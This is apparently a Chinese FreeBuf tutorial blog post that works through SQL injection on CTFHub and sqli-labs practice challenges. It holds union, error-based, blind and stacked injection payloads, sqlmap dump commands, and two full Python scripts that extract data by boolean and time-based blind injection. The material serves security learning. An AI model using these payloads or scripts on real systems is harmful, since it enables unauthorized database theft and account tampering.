jelasin
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言
要学一下IOT安全,但我web方面还是个小白,所以有了二进制选手的web安全之路这个系列。我打算把每天学的web安全以及渗透相关的知识积累起来,每篇文章作为一个专题,后续如果发现了这个专题的其他内容,也会补充这些新内容。本着开源精神,利己利他,后续有和我一样的同学也能少走些弯路,所以常年混迹二进制论坛的我,来到了FreeBuf注册了一个新账号,愿FreeBuf论坛越办越好,为更多的后来者铺路。
sql注入基础
靶场环境 :ctfhub技能数->web->sql注入
注入参数为整数类型,语句类似 select * from news where id=参数。
整数型注入
手动解法
可以根据回显结果来判断我们插入的语句是否被解析为 sql 语法,是否存在整数注入。
有回显
无回显
确认查询列数。输入到 3 时返回错误,所以列数为 2 。
输入
1 order by 1
有回显。输入
1 order by 2
有回显。输入
1 order by 3
无回显。
通过
union
注入查询数据。union 联合查询语句内部每个 select 语句必须拥有相同的列。union
也可用于查询列数。
输入
union select 1
无回显。输入
union select 1,2
有回显。
利用
union
查询数据库名。
输入
-1 union select 1,database()
。让id=-1
因为回显只有一行数据,需要让第一个 select 语句返回空。这里查询到一个sqli
数据库。输入
-1 union select 1,table_name from information_schema.tables where table_schema='sqli'
。Mysql5.0以上版本中information_schema
默认库保存了所有数据库信息。这里我们查询到了一个flag
表。输入
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
。通过group_concat()
函数将多条数据组合成字符串输出,或者通过limit
函数选择输出第几条数据。输入
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
,同样通过information_schema
查询列名。flag 表中 只有一个 flag 列。输入
-1 union select 1,group_concat(flag) from sqli.flag
。直接查询 flag 列中数据即可。
sqlmap解法
输入
sqlmap --purge
清除原有数据。输入
sqlmap -u http://challenge-3da5ad86434a80f6.sandbox.ctfhub.com:10800/?id=1 --tables
。-u
指定url
反馈输入
sqlmap -u http://challenge-3da5ad86434a80f6.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
。-D
指定数据库。
反馈输入
sqlmap -u http://challenge-3da5ad86434a80f6.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --dump
, --dump 获取字段数据,或者输入sqlmap -u http://challenge-3da5ad86434a80f6.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --tables --dump
,-T 指定表名。
字符型注入
手动解法
判断列数。原理一样,记得输入
'
闭合操作,然后注释掉后面自带的'
,--
注释记得加一个空格,#
则不用加空格。查询 flag。
sqlmap解法
输入
sqlmap --purge
清除原有数据。解法和
整数型注入
相同。
sqlmap -u http://challenge-ced5aff6454f7ff0.sandbox.ctfhub.com:10800/?id=1
sqlmap -u http://challenge-ced5aff6454f7ff0.sandbox.ctfhub.com:10800/?id=1 --current-db
sqlmap -u http://challenge-ced5aff6454f7ff0.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-ced5aff6454f7ff0.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
报错注入
在无法利用union
注入并回显报错信息时,可采用报错注入。人为制造错误条件,在报错信息中返回完整查询结果。
手动解法
利用
extractvalue(XML_document, XPath_string)
和updatexml(XML_document, XPath_string, new_value)
函数进行报错注入。extractvalue()和updatexml()函数第二个参数不合法时,会将查询结果放在报错信息中。但 extractvalue() 函数最长报错32位。
输入
1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))
。输入
1 and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)))
。
sqlmap解法
解法和
整数型注入
相同。
sqlmap -u http://challenge-5d7e63900aa73836.sandbox.ctfhub.com:10800/?id=1
sqlmap -u http://challenge-5d7e63900aa73836.sandbox.ctfhub.com:10800/?id=1 --current-db
sqlmap -u http://challenge-5d7e63900aa73836.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-5d7e63900aa73836.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
布尔盲注
回显只有True
和False
的情况。思路解法
手动解法
可以编写脚本,逐字节爆破。
输入
1 and 1=1
输入
1 and1=2
输入
1 and (substr((select flag from flag),1,1)='c')
脚本
#导入库
import requests
#设定环境URL,由于每次开启环境得到的URL都不同,需要修改!
url = 'http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/'
#作为盲注成功的标记,成功页面会显示query_success
success_mark = "query_success"
#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表,包括花括号、a-z,数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))
#自定义函数获取数据库名长度
def getLengthofDatabase():
#初始化库名长度为1
i = 1
#i从1开始,无限循环库名长度
while True:
new_url = url + "?id=1 and length(database())={}".format(i)
#GET请求
r = requests.get(new_url)
#如果返回的页面有query_success,即盲猜成功即跳出无限循环
if success_mark in r.text:
#返回最终库名长度
return i
#如果没有匹配成功,库名长度+1接着循环
i = i + 1
#自定义函数获取数据库名
def getDatabase(length_of_database):
#定义存储库名的变量
name = ""
#库名有多长就循环多少次
for i in range(length_of_database):
#切片,对每一个字符位遍历字母表
#i+1是库名的第i+1个字符下标,j是字符取值a-z
for j in ascii_range:
new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到库名变量里
name += chr(j)
#当前下标字符匹配成功,退出遍历,对下一个下标进行遍历字母表
break
#返回最终的库名
return name
#自定义函数获取指定库的表数量
def getCountofTables(database):
#初始化表数量为1
i = 1
#i从1开始,无限循环
while True:
new_url = url + "?id=1 and (select count(*) from information_schema.tables where table_schema='{}')={}".format(database,i)
r = requests.get(new_url)
if success_mark in r.text:
#返回最终表数量
return i
#如果没有匹配成功,表数量+1接着循环
i = i + 1
#自定义函数获取指定库所有表的表名长度
def getLengthListofTables(database,count_of_tables):
#定义存储表名长度的列表
#使用列表是考虑表数量不为1,多张表的情况
length_list=[]
#有多少张表就循环多少次
for i in range(count_of_tables):
#j从1开始,无限循环表名长度
j = 1
while True:
#i+1是第i+1张表
new_url = url + "?id=1 and length((select table_name from information_schema.tables where table_schema='{}' limit {},1))={}".format(database,i,j)
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到表名长度的列表
length_list.append(j)
break
#如果没有匹配成功,表名长度+1接着循环
j = j + 1
#返回最终的表名长度的列表
return length_list
#自定义函数获取指定库所有表的表名
def getTables(database,count_of_tables,length_list):
#定义存储表名的列表
tables=[]
#表数量有多少就循环多少次
for i in range(count_of_tables):
#定义存储表名的变量
name = ""
#表名有多长就循环多少次
#表长度和表序号(i)一一对应
for j in range(length_list[i]):
#k是字符取值a-z
for k in ascii_range:
new_url = url + "?id=1 and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)='{}'".format(database,i,j+1,chr(k))
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到表名变量里
name = name + chr(k)
break
#添加表名到表名列表里
tables.append(name)
#返回最终的表名列表
return tables
#自定义函数获取指定表的列数量
def getCountofColumns(table):
#初始化列数量为1
i = 1
#i从1开始,无限循环
while True:
new_url = url + "?id=1 and (select count(*) from information_schema.columns where table_name='{}')={}".format(table,i)
r = requests.get(new_url)
if success_mark in r.text:
#返回最终列数量
return i
#如果没有匹配成功,列数量+1接着循环
i = i + 1
#自定义函数获取指定库指定表的所有列的列名长度
def getLengthListofColumns(database,table,count_of_column):
#定义存储列名长度的变量
#使用列表是考虑列数量不为1,多个列的情况
length_list=[]
#有多少列就循环多少次
for i in range(count_of_column):
#j从1开始,无限循环列名长度
j = 1
while True:
new_url = url + "?id=1 and length((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1))={}".format(database,table,i,j)
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到列名长度的列表
length_list.append(j)
break
#如果没有匹配成功,列名长度+1接着循环
j = j + 1
#返回最终的列名长度的列表
return length_list
#自定义函数获取指定库指定表的所有列名
def getColumns(database,table,count_of_columns,length_list):
#定义存储列名的列表
columns = []
#列数量有多少就循环多少次
for i in range(count_of_columns):
#定义存储列名的变量
name = ""
#列名有多长就循环多少次
#列长度和列序号(i)一一对应
for j in range(length_list[i]):
for k in ascii_range:
new_url = url + "?id=1 and substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1)='{}'".format(database,table,i,j+1,chr(k))
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到列名变量里
name = name + chr(k)
break
#添加列名到列名列表里
columns.append(name)
#返回最终的列名列表
return columns
#对指定库指定表指定列爆数据(flag)
def getData(database,table,column,str_list):
#初始化flag长度为1
j = 1
#j从1开始,无限循环flag长度
while True:
#flag中每一个字符的所有可能取值
for i in str_list:
new_url = url + "?id=1 and substr((select {} from {}.{}),{},1)='{}'".format(column,database,table,j,chr(i))
r = requests.get(new_url)
#如果返回的页面有query_success,即盲猜成功,跳过余下的for循环
if success_mark in r.text:
#显示flag
print(chr(i),end="")
#flag的终止条件,即flag的尾端右花括号
if chr(i) == "}":
print()
return 1
break
#如果没有匹配成功,flag长度+1接着循环
j = j + 1
#--主函数--
if __name__ == '__main__':
#爆flag的操作
#还有仿sqlmap的UI美化
print("Judging the number of tables in the database...")
database = getDatabase(getLengthofDatabase())
count_of_tables = getCountofTables(database)
print("[+]There are {} tables in this database".format(count_of_tables))
print()
print("Getting the table name...")
length_list_of_tables = getLengthListofTables(database,count_of_tables)
tables = getTables(database,count_of_tables,length_list_of_tables)
for i in tables:
print("[+]{}".format(i))
print("The table names in this database are : {}".format(tables))
#选择所要查询的表
i = input("Select the table name:")
if i not in tables:
print("Error!")
exit()
print()
print("Getting the column names in the {} table......".format(i))
count_of_columns = getCountofColumns(i)
print("[+]There are {} tables in the {} table".format(count_of_columns,i))
length_list_of_columns = getLengthListofColumns(database,i,count_of_columns)
columns = getColumns(database,i,count_of_columns,length_list_of_columns)
print("[+]The column(s) name in {} table is:{}".format(i,columns))
#选择所要查询的列
j = input("Select the column name:")
if j not in columns:
print("Error!")
exit()
print()
print("Getting the flag......")
print("[+]The flag is ",end="")
getData(database,i,j,str_range)
sqlmap解法
sqlmap -u http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/?id=1
sqlmap -u http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/?id=1 --current-db
sqlmap -u http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
时间盲注
没有回显结果,无法通过回显判断 SQL 语句是否执行成功。通常采用if((bool),sleep(3),0)
语句,通过页面响应时间判断是否存在时间盲注。思路解法。
手动解法
输入
1 and if(length(database())=4,sleep(3),0)
。页面 sleep(3) 秒左右,然后响应。脚本
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import sys
import time
session=requests.session()
url = "http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id="
name = ""
for k in range(1,10):
for i in range(1,10):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
#数据库名
payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
#表名
#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
#字段名
#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
start_time=time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name+=str_ascii
break
print(name)
#查询字段内容
for i in range(1,50):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)
sqlmap解法
sqlmap -u http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id=1 -level=5 risk=3
sqlmap -u http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id=1 --current-db
sqlmap -u http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
sql注入进阶
参考书籍《CTF实战:技术、解题与进阶》
二次注入
原理:二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入,二次注入是输入数据经处理后存储,取出后,再次进入到 SQL 查询,以绕过开发人员设置的一些检查。
第一步,插入恶意数据。Web程序对插入的数据进行转义和过滤,写入数据库时又将其还原。
第二步,引用恶意数据。Web程序将数据从数据库中取出并调用时,恶意 SQL 语句被带入原始语句中,造成 SQL 二次注入。
例题:sqli-labs-24。
登陆界面:
登陆代码:
//转义
function sqllogin($con1){
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = mysqli_real_escape_string($con1, $_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysqli_query($con1, $sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysqli_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
}
注册界面:
注册代码:
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysqli_real_escape_string($con1, $_POST['username']) ;
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_fetch_row($res);
//print_r($row);
if (!$row[0]==0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";
mysqli_query($con1, $sql) or die('Error Creating your user account, : '.mysqli_error($con1));
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
else
{
?>
<script>alert('Please make sure that password field and retype password match correctly')</script>
<?php
header('refresh:1, url=new_user.php');
}
}
}
利用流程:
利用注册,将
admin'#
插入数据库。以
admin'#
登录,执行sql = "SELECT * FROM users WHERE username='admin '#' and password='$password'";
并可修改admin
密码。
无名列注入
无名列注入就是在不知道列名的情况下进行 sql 注入。通常我们用于获取所有库的库名,表名,列名的 infomation_scema 库经常被 WAF 过滤。无名列注入适用于已经获取数据表但无法查询列的情况。
原理:类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询。
正常查询
union 查询
利用数字3代替未知列名需要加上反引号`3`。后面的a表示上图中表的别名。
若反引号被过滤掉,可用别名代替。
BUU例题:[SWPU2019]Web1
注册后经测试,过滤了or
,#
,--``+
和。
爆破库名:1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
爆破表名:1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
无名列注入:1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
堆叠注入
堆叠注入就是一堆 SQL 语句一起执行。我们将多个 SQL 语句用 ";" 连接起来即可达到多条语句一起执行的效果。堆叠注入和 union 联合查询本质上都是将两条语句一起执行,但 union 查询只能连接两条查询语句,而堆叠注入可连接两条任意语句。当 WAF 没有过滤 show, rename, alert 等关键字时,可考虑堆叠注入。
例题:[强网杯 2019]随便注
输入1';show databases;
输入1';show tables #
输入1'; show columns from `words`#
输入1'; show columns from `1919810931114514` #
输入1'; handler `1919810931114514` open as `a`; handler `a` read first limit 0,2;#Tips
hand tablename open as new_tablename;
。追加tablename的表的别名为new_tablename(需要注意的是,此处不是修改,且只在当前会话内生效)Handler_read_next;
此选项表明在进行索引扫描时,按照索引从数据文件里取数据的次数。
例题:sqli-labs:Less-38
http://127.0.0.1/sqli-labs/Less-38/?id=1
payload:127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values(21,'5555','5555'); #
SQL 注入与其他漏洞结合
后续补充。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
